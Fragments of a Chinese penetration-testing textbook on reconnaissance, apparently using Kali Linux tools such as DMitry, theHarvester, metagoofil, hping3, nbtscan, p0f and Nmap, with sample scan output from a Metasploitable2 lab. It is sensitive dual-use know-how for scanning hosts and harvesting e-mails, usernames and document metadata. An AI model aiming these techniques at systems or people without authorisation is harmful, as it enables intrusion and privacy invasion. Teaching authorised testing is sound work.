    {"text": "Deepmagic Information Gathering Tool \"There be some deep magic going on\" HostIP:192.168.xx.xx HostName:targethost Gathered Netcraft information for targethost -------------------------------- Retrieving Netcraft.com information for targethost No uptime reports available for host: targethost Gathered Subdomain information for targethost -------------------------------- Searching Google.com:80... HostName:targethost HostIP:192.168.xx.xx HostName:www.ecom.targethost HostIP:192.168.xx.xx HostName:blogs.targethost HostIP:192.168.xx.xx HostName:static.targethost HostIP:192.168.xx.xx HostName:webmail.targethost HostIP:192.168.xx.xx ... Gathered E-Mail information for targethost -------------------------------- Found 0 E-Mail(s) for host targethost, Searched 0 pages containing 0 results DMitry程序还可以作简单的端口扫描，所需指令如下。 # dmitry -p targethost -f -b 扫描结果如下。 Deepmagic Information Gathering Tool \"There be some deep magic going on\" HostIP:192.168.xx.xx HostName:targethost Gathered TCP Port information for 192.168.xx.xx Port State ... 80/tcp open ... 135/tcp filtered 136/tcp filtered 137/tcp filtered 138/tcp filtered 139/tcp filtered Portscan Finished: Scanned 150 ports, 138 ports were in state closed 从上述的扫描结果可以看出，targethost 使用了某种包过滤设备。"},
    {"text": "图4.7 接下来要设置Maltego转换的种子（seed），如图4.8所示。 图4.8 此后Maltego客户端程序会连接Maltego服务器，以获取转换所需的信息。"},
    {"text": "● 中心布局（Centrality layout）：靠近中心的节点围绕中心进行分布，其他节点分散在四周。 ● 紧凑布局（Organic layout）：节点分布距离尽量紧凑，每个节点与其他节点之间的距离尽量保持最短。"},
    {"text": "我们在菜单里选中Run Transform | Other Transforms | Domain To DNS NameSchema，转换结果如图4.12所示。 进行DNS from domain转换后，可收集网站地址和该域有关的DNS 信息。"},
    {"text": "traceroute to www.example.com (192.168.10.100), 30 hops max, 40 byte packets 1 192.168.1.1 (192.168.1.1) 8.382 ms 12.681 ms 24.169 ms 2 1.static.192.168.xx.xx.isp (192.168.2.1) 47.276 ms 61.215 ms 61.057 ms 3 * * * 4 74.subnet192.168.xx.xx.isp (192.168.4.1) 68.794 ms 76.895 ms 94.154 ms 5 isp2 (192.168.5.1) 122.919 ms 124.968 ms 132.380 ms ... 15 * * * ... 30 * * * 在第15个结果之后，就再也没有返回任何路由信息了。"},
    {"text": "Selected device eth0, address 192.168.1.107, port 41884 for outgoing packets Tracing the path to www.example.com (192.168.10.100) on TCP port 80 (www), 30 hops max 1 192.168.1.1 55.332 ms 6.087 ms 3.256 ms 2 1.static.192.168.xx.xx.isp (192.168.2.1) 66.497 ms 50.436 ms 85.326 ms 3 * * * 4 74.subnet192.168.xx.xx.isp (192.168.4.1) 56.252 ms 28.041 ms 34.607 ms 5 isp2 (192.168.5.1) 51.160 ms 54.382 ms 150.168 ms 6 192.168.6.1 106.216 ms 105.319 ms 130.462 ms 7 192.168.7.1 140.752 ms 254.555 ms 106.610 ms ... 14 192.168.14.1 453.829 ms 404.907 ms 420.745 ms 15 192.168.15.1 615.886 ms 474.649 ms 432.609 ms 16 192.168.16.1 [open] 521.673 ms 474.778 ms 820.607 ms 这一次，我们的数据包成功到达了目标主机，并且给出了测试机与目标主机之间的完整路由信息。"},
    {"text": "1(1) [192.168.1.1] 2(1) [192.168.2.1] 3(all) Timeout 4(3) [192.168.4.1] 5(1) [192.168.5.1] 6(1) [192.168.6.1] 7(1) [192.168.7.1] ... 14(1) [192.168.14.1] 15(1) [192.168.15.1] 16(1) [192.168.16.1] (reached; open) 4.5 搜索引擎 Kali Linux 中的捜索引擎类工具可以使用搜索引擎获取目标主机的域名信息、电子邮件信息，以及文件的元数据（metadata）信息。"},
    {"text": "# theharvester -d example.com -l 100 -b google 程序搜索到的E-mail地址和主机名如下。 [-] Searching in Google: Searching 0 results... [+] Emails found: ----------------- info@example.com user1@example.com user2@example.com user3@example.com [+] Hosts found in search engines: ----------------------------------- 192.168.118.14:sd1.example.com 192.168.118.14:sd2.example.com 192.168.118.14:event.example.com 192.168.118.14:test.example.com 203.34.118.7:nms.example.com 上述结果里含有多个E-mail地址和数个主机名，这都是theharvester通过Google搜索引擎收集到的信息。"},
    {"text": "[-] Searching in Linkedin.. Searching 100 results.. Users from Linkedin: user1 user2 user3 user4 user5 user6 Total results: 6 从Linkedin.com网站上搜索到的目标域的用户名，将在后期的渗透测试阶段发挥作用。"},
    {"text": "目前，它支持的文件格式有： ● Word 文档（.docx、.doc）； ● 表格文件（.xlsx、.xls、.ods）； ● 演示文档（.pptx、.ppt、.odp）； ● PDF 文件（.pdf）。"},
    {"text": "[-] Starting online search... [-] Searching for doc files, with a limit of 200 Searching 100 results... Searching 200 results... Results: 191 files found Starting to download 5 of them: --------------------------------------- [1/5] /support/websearch/bin/answer.py?answer=186645＆amp;%20 form=bb＆amp;hl=en Error downloading /support/websearch/bin/answer. py?answer=186645＆amp;%20form=bb＆amp;hl=en [2/5] http://www.example.com/documents/customerevidence/27402_ Cakewalk_final.do [3/5] http:// www.example.com/documents/customerevidence/5588_ marksspencer.doc [4/5] http:// www.example.com/documents/uk/Ladbrokes.doc [5/5] http:// www.example.com/～Gray/papers/PITAC_Interim_Report 8_98.doc [-] Searching for pdf files, with a limit of 200 Searching 100 results... Searching 200 results... Results: 202 files found Starting to download 5 of them: --------------------------------------- [1/5] /support/websearch/bin/answer.py?answer=186645＆amp;%20 form=bb＆amp;hl=en Error downloading /support/websearch/bin/answer. py?answer=186645＆amp;%20form=bb＆amp;hl=en [2/5] http:// www.example.com/pubs/77954/sl021801.pdf [3/5] http:// www.example.com/pubs/152133/deepconvexnetwork interspeech2011-pub.pdf [x] Error in the parsing process [4/5] http:// www.example.com/en-us/collaboration/papers/uruguay.pdf [5/5] http:// www.example.com/pubs/63611/2002-droppo-icslpb.pdf [+] List of users found: ------------------------- Benjamin Van Houten Marketing IT May Yee sarah condon clarel Jim Gray [+] List of software found: ---------------------------- Microsoft Office Word Microsoft Word 10.0 Microsoft Word 9.0 Microsoft Word 8.0 Acrobat Distiller 5.0.5 (Windows) Adobe PDF Library 8.0 Adobe InDesign CS3 (5.0.2) [+] List of paths and servers found: -------------------------------------- 'Macintosh HD:Temporary Items:AutoRecovery save of Congressio' 'NCO Server:Staff (NCO Staff):Yolanda Comedy:IR22July:IR10Aug' 'C:\\jim\\HPCC\\PACIT_Report_8_98.doc' [+] List of e-mails found: --------------------------- gzweig@mail.example.com 程序找到了很多文件，并从中收集到了大量诸如用户名和文件路径的信息。"},
    {"text": "本章首先介绍了通过公开网站收集目标单位信息的方法，而后介绍了使用软件获取域注册信息的方法，还介绍了可收集路由信息的工具，以及利用搜索引擎来收集信息的工具。"},
    {"text": "该工具向目标主机发送ICMP协议（Internet Control Message Protocol）的echo request 数据包。 如果目标主机在线且允许受理ping 请求，那么目标主机将回复ICMP echo reply数据包。 ICMP协议的echo request（请求）和echo reply（回复）消息只是ICMP协议的两种类型的消息。"},
    {"text": "图5.2 上述信息表明：ping指令只向目标主机（IP地址为192.168.56.102）发送了1个ICMP echo request； 发送请求的主机（IP 地址为192.168.56.101）也只收到了1 个ICMP echo reply；"},
    {"text": "图5.3 从中可以看出，我们自己的主机（192.168.56.101）向目标主机（192.168.56.102）发送了一个ICMP echo request数据包。 因为目标主机在线且允许受理ICMP echo request数据包，它向我们的主机发送回ICMP echo reply数据包。"},
    {"text": "# ping6 -c 1 fe80::a00:27ff:fe43:1518 -I eth0 PING fe80::a00:27ff:fe43:1518(fe80::a00:27ff:fe43:1518) from fe80::a00:27ff:fe1c:5122 eth0: 56 data bytes 64 bytes from fe80::a00:27ff:fe43:1518: icmp_seq=1 ttl=64 time=4.63 ms --- fe80::a00:27ff:fe43:1518 ping statistics -- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 4.633/4.633/4.633/0.000 ms ping6指令的通信过程如图5.4所示。"},
    {"text": "# arping 192.168.56.102 -c 1 ARPING 192.168.56.102 60 bytes from 08:00:27:43:15:18 (192.168.56.102): index=0 time=518.223usec --- 192.168.56.102 statistics -- 1 packets transmitted, 1 packets received, 0% unanswered (0 extra) 上述指令检测MAC地址为08:00:27:43:15:18的主机是否在线。"},
    {"text": "图5.5 可从图5.5中看出，本机的网卡（MAC 地址为08:00:27:1c:51:22）发送了ARP广播（接受方MAC地址为ff:ff:ff:ff:ff:ff），询问192.168.56.102的MAC地址。"},
    {"text": "假如您的主机通常使用192.168.56.101这个IP地址，某天您想要换一个IP地址。 那么，在更换IP地址之前，应当检查该IP地址是否被其他主机占用了。"},
    {"text": "此时可以使用下述arping指令检测192.168.56.102是否被他人占用。 # arping -d -i eth0 192.168.56.102 -c 2 # echo $? 1 如果返回值是1，则说明192.168.56.102这个IP已经被占用了。"},
    {"text": "如果目标主机发送了回应，该主机将会被标记为alive（在线）：如果主机在一段时间内（超时或超过尝试次数）没有进行响应，该主机则会被标记为unreachable（不可访问）。"},
    {"text": "192.168.1.1 is alive 192.168.1.107 is alive ICMP Host Unreachable from 192.168.1.112 for ICMP Echo sent to 192.168.1.100 ICMP Host Unreachable from 192.168.1.112 for ICMP Echo sent to 192.168.1.100 ICMP Host Unreachable from 192.168.1.112 for ICMP Echo sent to 192.168.1.100 192.168.1.100 is unreachable ● 如果不想逐 IP 地指定目标主机，我们可以指定目标主机的列表。"},
    {"text": "192.168.56.101 is alive 192.168.56.102 is alive ICMP Host Unreachable from 192.168.56.102 for ICMP Echo sent to 192.168.56.2 ICMP Host Unreachable from 192.168.56.102 for ICMP Echo sent to 192.168.56.3 ICMP Host Unreachable from 192.168.56.102 for ICMP Echo sent to 192.168.56.4 ICMP Host Unreachable from 192.168.56.102 for ICMP Echo sent to 192.168.56.5 ICMP Host Unreachable from 192.168.56.102 for ICMP Echo sent to 192.168.56.6 ... 192.168.56.252 is unreachable 192.168.56.253 is unreachable 192.168.56.254 is unreachable ● 如需改变探测目标主机的重试次数，则可在指令之中使用-r 选项（retry limit）。"},
    {"text": "192.168.1.1 is alive 192.168.1.10 is alive 192.168.1.2 is unreachable ... 192.168.1.9 is unreachable ● 如需査看多个目标的统计结果，可以使用-s 选项（打印累积统计）。"},
    {"text": "www.google.com is alive www.yahoo.com is alive www.msn.com is unreachable 3 targets 2 alive 1 unreachable 0 unknown addresses 4 timeouts (waiting for response) 6 ICMP Echos sent 2 ICMP Echo Replies received 0 other ICMP received 51.6 ms (min round trip time) 231 ms (avg round trip time) 411 ms (max round trip time) 4.150 sec (elapsed real time) 5.2.4 hping3 hping3程序是命令行下的网络数据包生成和分析工具。"},
    {"text": "在TCP/IP测试和安全测试里，例如在端口扫描、防火墙规则测试、网络性能测试时，都可以使用这个程序生成自定义的网络数据包，从而进行相应测试。"},
    {"text": "如需了解Tcl的详细指令，请参见： http://www.invece.org/tclwise/ http://wiki.tcl.tk/ 要实现前一个例子的功能，我们可以使用下述Tcl脚本。"},
    {"text": "HPING 192.168.56.101 (eth0 192.168.56.101): icmp mode set, 28 headers + 0 data bytes --- 192.168.56.101 hping statistic -- 1 packets transmitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms 可见目标主机没有对我们的ping进行响应。"},
    {"text": "如图5.10 所示，我们向目标主机的TCP 22 端口发送一个带有SYN 标识的TCP 包。 图5.10 上述信息表明：目标主机接受了刚才我们发送到22端口的带SYN标识的TCP包。"},
    {"text": "如果我们要向 192.168.56.102 主机的 22 端口（-p 22）发送 1 次（-c 1）TCP（--tcp）数据包，可使用下述指令： nping --tcp -c 1 -p 22 192.168.56.102 当然，您得自己猜测哪个端口是开放端口。"},
    {"text": "Alive: fe80::a00:27ff:fe43:1518 [ICMP echo-reply] Scanned 1 address and found 1 system alive 如果不希望其他主机通过这种方式探测到自己的IPv6主机，可以通过ip6tables指令屏蔽ICMPv6的echo请求。 ip6tables –A INPUT –p ipv6-icmp –-type icmpv6-type 128 –j DROP 目标主机使用了这条指令之后，就无法通过这种方式检测到它了（见图5.15）。 图5.15 5.2.7 detect-new-ip6 这个程序可以在 IPv6 的网络里检测到新加入网络的主机。"},
    {"text": "Started ICMP6 DAD detection (Press Control-C to end) ... Detected new ip6 address: fe80::a00:27ff:fe43:1518 5.2.8 passive_discovery6 如果需要通过网络监听的方式找到主机的 IPv6 地址，可使用这个程序。"},
    {"text": "● fe80::31ad:1227:d1d3:a002 ● fe80::a00:27ff:fe43:1518 5.2.9 nbtscan 如果在内网渗透测试中审计Windows系统，您需要首先获取主机的NetBIOS信息。"},
    {"text": "如需了解NetBIOS报告中每个服务的功能，可在微软知识库（URL地址为 http://support.microsoft.com/kb/163409）里查询NetBIOS服务名称的第16个字符（即NetBIOS后缀）。"},
    {"text": "Doing NBT name scan for addresses from 192.168.1.1-254 IP address NetBIOS Name Server User MAC address --------------------------------------------------------------------- ---- 192.168.1.81 PC-001 <server> <unknown> 00:25:9c:9f:b0:96 192.168.1.90 PC-003 <server> <unknown> 00:00:00:00:00:00 ... 从上面的输出结果可以看出，找到的NetBIOS名字有：PC-001、PC-003和SRV-001。"},
    {"text": "NetBIOS Name Table for Host 192.168.1.81: PC-001 Workstation Service PC-001 File Server Service WORKGROUP Domain Name WORKGROUP Browser Service Elections Adapter address 00:25:9c:9f:b0:96 NetBIOS Name Table for Host 192.168.1.90: PC-003 Workstation Service PC-003 Messenger Service PC-003 File Server Service __MSBROWSE__ Master Browser WORKGROUP Domain Name WORKGROUP Browser Service Elections WORKGROUP Domain Name WORKGROUP Master Browser Adapter address 00:00:00:00:00:00 ... 从上面输出结果可以看出，PC-001运行了Workstation（工作站服务）和File Server （文件服务器）。"},
    {"text": "这个工具可以识别以下几种主机： ● 连接到您主机的机器（SYN 模式，即默认模式）； ● 您主机可以访问的机器（SYN+ACK 模式）； ● 您主机不能访问的机器（RST+模式）；"},
    {"text": "如需使用这个版本的p0f，请从官方网站上下载 TARBALL 文件（http://lcamtuf.coredump.cx/p0f3/releases/p0f- 3.06b.tgz），然后使用其中build.sh 脚本进行编译。"},
    {"text": "p0f –f /etc/p0f/p0f.fp -o p0f.log 这条指令将会读取指纹数据库文件（/etc/p0f/p0f.fp），然后把分析日志保存为p0f.log。"},
    {"text": "--- p0f 3.06b by Michal Zalewski<lcamtuf@coredump.cx> -- [+] Closed 1 file descriptor. [+] Loaded 314 signatures from '/etc/p0f/p0f.fp'. [+] Intercepting traffic on default interface 'eth0'. [+] Default packet filtering configured [+VLAN]. [+] Log file 'p0f.log' opened for writing. [+] Entered main event loop. 然后，您需要与这台主机建立TCP连接，产生一些网络流量。"},
    {"text": ".-[ 192.168.56.101/42819 -> 192.168.56.102/80 (syn) ] | | client = 192.168.56.101/42819 | os = Linux 3.x | dist = 0 | params = none | raw_sig = 4:64+0:0:1460:mss*10,7:mss,sok,ts,nop,ws:df,id+:0 | `--- .-[ 192.168.56.101/42819 -> 192.168.56.102/80 (mtu) ] | | client = 192.168.56.101/42819 | link = Ethernet or modem | raw_mtu = 1500 | `--- .-[ 192.168.56.101/42819 -> 192.168.56.102/80 (syn+ack) ] | | server = 192.168.56.102/80 | os = Linux 2.6.x | dist = 0 | params = none | raw_sig = 4:64+0:0:1460:mss*4,5:mss,sok,ts,nop,ws:df:0 | `--- .-[ 192.168.56.101/42819 -> 192.168.56.102/80 (mtu) ] | | server = 192.168.56.102/80 | link = Ethernet or modem | raw_mtu = 1500 | `--- .-[ 192.168.56.101/42819 -> 192.168.56.102/80 (http request) ] | | client = 192.168.56.101/42819 | app = Firefox 10.x or newer | lang = English | params = none | raw_sig = 1:Host,User-Agent,Accept=[text/html,application/ xhtml+xml,application/xml;q=0.9,*/*;q=0.8],Accept-Language=[en-US,en;q =0.5],Accept-Encoding=[gzip, deflate],Connection=[keepalive]:Accept-Charset,Keep-Alive:Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1 | `--- .-[ 192.168.56.101/42819 -> 192.168.56.102/80 (http response) ] | | server = 192.168.56.102/80 | app = Apache 2.x | lang = none | params = none |raw_sig = 1:Date,Server,X-Powered-By=[PHP/5.2.4-2ubuntu5.10],?ContentLength,Keep-Alive=[timeout=15, max=100],Connection=[Keep-Alive],ContentType: Accept-Ranges:Apache/2.2.8 (Ubuntu) DAV/2 | `--- 相应的日志文件如图5.17所示。"},
    {"text": "图5.17 根据上述结果，我们可判断目标主机运行的操作系统是Linux 2.6。 在目标主机上查看操作系统的信息（见图5.18）。 图5.18 比较这两组信息，可知 p0f 获取的操作系统信息是正确的。"},
    {"text": "主机开放了某个端口，就意味着它在这个端口提供某种网络服务。 如果某个端口处于关闭状态，则说明主机在这个端口上并没有提供网络服务。 在确定某端口处于开放状态之后，攻击人员就会检查在该端口提供相应服务的程序版本，以判断这个版本的程序是否存在漏洞。"},
    {"text": "6.1.1 TCP/IP协议 TCP/IP协议是很多协议的统称。 这些协议里最重要的两个协议就是TCP协议和IP协议。 IP协议提供了寻址、路由等主机互联的功能，而TCP协议约定了连接管理、在两台主机间建立数据通信可靠传输的标准。 IP协议是OSI模型的第3层协议，而TCP协议是传输层（OSI第4层）协议。 UDP协议是和TCP同等重要的传输层协议。"},
    {"text": "◆ 服务器将客户端发送的ISN加1之后，作为自己的ACK数据序列号，以此对客户端 SYN 信息表示确认，而且服务器的数据包会使用独立的序列号。"},
    {"text": "◆ 客户端发送一个含有FIN（finish）标志的数据包。 ◆ 服务器发送ACK 确认数据，以告知客户端它已经受理了FIN 的数据包。 ◆ 应用服务器在关闭连接之前，会再发送一个FIN 数据包给客户端。 ◆ 客户端对服务器的FIN 请求发送ACK 确认数据包。"},
    {"text": "● 公认的端口（0～1023）：这个范围内的端口又称为保留端口，通常供系统管理员（或高权限用户）运行的服务端程序使用。 SSH（22号端口）、HTTP（80号端口）、HTTPS （443号端口）等常用服务端口都是这个范围内的端口。"},
    {"text": "在简要讨论了TCP和UDP之间的区别之后，我们接下来介绍TCP和UDP数据包的具体格式。 6.1.2 TCP和UDP的数据格式 TCP数据包叫作TCP信息段（segment）。 每个TCP消息段由报头（header）和数据构成。"},
    {"text": "确实有一些管理员有定期更改服务程序运行端口的习惯。 例如，SSH 服务程序的通常运行在22号端口上，但是系统管理员可能把它改为2222之类的其他端口。"},
    {"text": "除了端口扫描外，Nmap还具备如下功能。 ● 主机探测：Nmap 可査找目标网络中的在线主机。 默认情况下，Nmap 通过4种方式——ICMP echo 请求（ping）、向443端口发送TCP SYN 包、向80端口发送TCP ACK包和ICMP时间戳请求——发现目标主机。 ● 服务/版本检测：在发现开放端口后，Nmap 可进一步检查目标主机的检测服务协议、应用程序名称、版本号等信息。 ● 操作系统检测：Nmap 向远程主机发送一系列数据包，并能够将远程主机的响应与操作系统指纹数据库进行比较。"},
    {"text": "Nmap scan report for 192.168.56.103 Host is up (0.0046s latency). Not shown: 977 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13 8180/tcp open unknown MAC Address: 08:00:27:43:15:18 (Cadmus Computer Systems) Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds 上述结果表明目标主机开放了很多端口。"},
    {"text": "● 未过滤：虽然可以访问到指定端口，但Nmap 不能确定该端口是否处于开放状态。 ● 打开｜过滤：Nmap 认为指定端口处于开放状态或过滤状态，但是不能确定处于两者之中的哪种状态。 在遇到没有响应的开放端口时，Nmap 会作出这种判断。"},
    {"text": "22:42:12.107532 IP 192.168.56.102.49270 > 192.168.56.103.23: Flags [S], seq 239440322, win 1024, options [mss 1460], length 0 0x0000: 4500 002c eb7f 0000 3006 ad2e c0a8 3866 E..,....0.....8f 0x0010: c0a8 3867 c076 0017 0e45 91c2 0000 0000 ..8g.v...E...... 0x0020: 6002 0400 4173 0000 0204 05b4 '...As...... 根据以上信息，我们知道实施扫描的主机从49270端口向目标主机的23端口（telnet）发送了含有SYN 标识位的数据包。"},
    {"text": "22:36:19.939881 IP 192.168.56.103.1720 > 192.168.56.102.47823: Flags [R.], seq 0, ack 1053563675, win 0, length 0 0x0000: 4500 0028 0000 4000 4006 48b2 c0a8 3867 E..(..@.@.H...8g 0x0010: c0a8 3866 06b8 bacf 0000 0000 3ecc 1b1b ..8f........>... 0x0020: 5014 0000 a243 0000 0000 0000 0000 P....C........ 请注意：上述报头文含有R（即reset［重置］）标识。"},
    {"text": "22:42:12.108741 IP 192.168.56.103.23 > 192.168.56.102.49270: Flags [S.], seq 1611132106, ack 239440323, win 5840, options [mss 1460], length 0 0x0000: 4500 002c 0000 4000 4006 48ae c0a8 3867 E..,..@.@.H...8g 0x0010: c0a8 3866 0017 c076 6007 ecca 0e45 91c3 ..8f...v'....E.. 0x0020: 6012 16d0 e1bf 0000 0204 05b4 0000 从中可以看出，这个数据包确认了前一个数据包的序列号。 前一个数据包的序列号是239440322，这个数据包的确认号是239440323。"},
    {"text": "Nmap scan report for 192.168.56.103 Host is up (0.0016s latency). PORT STATE SERVICE 53/udp open domain 161/udp closed snmp 4．目标端口选项 默认情况下，Nmap将从每个协议的常用端口中随机选择1000个端口进行扫描。"},
    {"text": "Nmap scan report for 192.168.56.103 Host is up (0.00096s latency). PORT STATE SERVICE 22/tcp open|filtered ssh 25/tcp open|filtered smtp 80/tcp open|filtered http 3306/tcp open|filtered mysql MAC Address: 08:00:27:43:15:18 (Cadmus Computer Systems) Nmap done: 1 IP address (1 host up) scanned in 14.38 seconds tcpdump捕获的信息如下。"},
    {"text": "23:23:38.581818 IP 192.168.56.102.61870 > 192.168.56.103.22: Flags [], win 1024, length 0 0x0000: 4500 0028 06e4 0000 2f06 92ce c0a8 3866 E..(..../.....8f 0x0010: c0a8 3867 f1ae 0016 dd9e bf90 0000 0000 ..8g............ 0x0020: 5000 0400 2ad2 0000 P...*... 23:23:38.581866 IP 192.168.56.102.61870 > 192.168.56.103.25: Flags [], win 1024, length 0 0x0000: 4500 0028 1117 0000 3106 869b c0a8 3866 E..(....1.....8f 0x0010: c0a8 3867 f1ae 0019 dd9e bf90 0000 0000 ..8g............ 0x0020: 5000 0400 2acf 0000 P...*... 23:23:39.683483 IP 192.168.56.102.61871 > 192.168.56.103.25: Flags [], win 1024, length 0 0x0000: 4500 0028 afaf 0000 2706 f202 c0a8 3866 E..(....'.....8f 0x0010: c0a8 3867 f1af 0019 dd9f bf91 0000 0000 ..8g............ 0x0020: 5000 0400 2acc 0000 P...*... 23:23:39.683731 IP 192.168.56.102.61871 > 192.168.56.103.22: Flags [], win 1024, length 0 0x0000: 4500 0028 5488 0000 3506 3f2a c0a8 3866 E..(T...5.?*..8f 0x0010: c0a8 3867 f1af 0016 dd9f bf91 0000 0000 ..8g............ 0x0020: 5000 0400 2acf 0000 P...*... 根据以上信息，我们可以得出下述结论。"},
    {"text": "一段时间之后，它发出了第2个数据包，检测目标主机的25端口。 ● 第3 个数据包，是实施扫描的主机检测目标主机的25 端口状态的数据包。 一段时间之后，它发出了第4个数据包，检测目标主机的22端口。"},
    {"text": "<?xml version=\"1.0\"?> <?xml-stylesheet href=\"file:///usr/bin/../share/nmap/nmap.xsl\" type=\"text/xsl\"?> <!-- Nmap 6.25 scan initiated Sat Jul 20 23:50:25 2013 as: nmap -oX myscan.xml 192.168.56.103 --> <nmaprun scanner=\"nmap\" args=\"nmap -oX myscan.xml 192.168.56.103\" start=\"1374339025\" startstr=\"Sat Jul 20 23:50:25 2013\" version=\"6.25\" xmloutputversion=\"1.04\"> <scaninfo type=\"syn\" protocol=\"tcp\" numservices=\"1000\" services=\"1,3-4,6-7,9,13,17,19-26,30,32-33,37,42 <some port numbers are deleted for brevity> 50003,50006,50300,50389,50500,50636,50800,51103,51493, 52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737 56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623, 64680,65000,65129,65389\"/> <verbose level=\"0\"/> <debugging level=\"0\"/> <host starttime=\"1374339025\" endtime=\"1374339038\"><status state=\"up\" reason=\"arp-response\" reason_ttl=\"0\"/> <address addr=\"192.168.56.103\" addrtype=\"ipv4\"/> <address addr=\"08:00:27:43:15:18\" addrtype=\"mac\" vendor=\"Cadmus Computer Systems\"/> 因为 HTML 格式的文件比 XML 格式的文件更易于阅读，所以我们通常会把 XML格式文件转换成HTML格式文件。"},
    {"text": "● PowerShell：专门处理Nmap XML格式报告的PowerShell脚本程序（http://www. sans.org/windows-security/2009/06/11/powershell-script-toparse-nmap-xml-output）。"},
    {"text": "● sneaky（1）：每隔15秒发送一个数据包，且不会以并行方式同时发送多组数据。 ● polite（2）：每0.4 秒发送一个数据包，且不会以并行方式同时发送多组数据。"},
    {"text": "Nmap scan report for 192.168.56.103 Host is up (0.0016s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 上述信息表明：目标主机的22端口处于开放状态，它的服务端程序是4.7p1版本的OpenSSH，通信协议是SSH 2.0。"},
    {"text": "Host is up (0.0037s latency). Not shown: 977 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13 8180/tcp open unknown MAC Address: 08:00:27:43:15:18 (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop 上述信息表明，服务器使用的是基于2.6.9-2.6.33版本Linux内核的Linux系统。"},
    {"text": "PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) |_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-title: Metasploitable2 – Linux ... Host script results: |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | NetBIOS computer name: | Workgroup: WORKGROUP |_ System time: 2013-07-21T09:20:22-04:00 TRACEROUTE HOP RTT ADDRESS 1 1.66 ms 192.168.56.103 8．扫描IPv6主机 前文介绍过，Nmap能够扫描IPv6环境里的主机，本节将进行细致说明。"},
    {"text": "Nmap scan report for fe80::a00:27ff:fe43:1518 Host is up (0.0014s latency). Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 2121/tcp open ccproxy-ftp 5432/tcp open postgresql MAC Address: 08:00:27:43:15:18 (Cadmus Computer Systems) Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds 上述信息表明，同一台主机在IPv6网络里开放的端口比它在IPv4网络里开放的端口数量要少。"},
    {"text": "9．脚本引擎 Nmap 本身就是功能强大的网络探测工具。 而它的脚本引擎功能（Nmap Scripting Engine，NSE）更让 Nmap 如虎添翼。 NSE 可使用户的各种网络检査工作更为自动化，有助于识别应用程序中新发现的漏洞、检测程序版本等Nmap原本不具有的功能。"},
    {"text": "● --script <filename>|<category>|<directories>：根据指定的文件名、类别名、目录名，执行相应的脚本。 ● --script-args <args>：这个选项用于给脚本指定参数。"},
    {"text": "Nmap scan report for 192.168.56.103 Not shown: 977 closed ports PORT STATE SERVICE 21/tcp open ftp |_ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh | ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 25/tcp open smtp |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/ organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Not valid before: 2010-03-17T14:07:45+00:00 |_Not valid after: 2010-04-16T14:07:45+00:00 |_ssl-date: 2013-07-21T08:40:20+00:00; -4s from local time. 53/tcp open domain | dns-nsid: |_ bind.version: 9.4.2 111/tcp open rpcbind | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100003 2, 3, 4 2049/tcp nfs | 100003 2, 3, 4 2049/udp nfs | 100005 1, 2, 3 35075/udp mountd | 100005 1, 2, 3 59685/tcp mountd | 100021 1, 3, 4 37466/tcp nlockmgr | 100021 1, 3, 4 60726/udp nlockmgr | 100024 1 36880/udp status |_ 100024 1 38557/tcp status 3306/tcp open mysql | mysql-info: Protocol: 10 | Version: 5.0.51a-3ubuntu5 | Thread ID: 7 | Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection | Status: Autocommit |_Salt: !'BijWW-x7HCVi,<*[l 5900/tcp open vnc | vnc-info: | Protocol version: 3.3 | Security types: 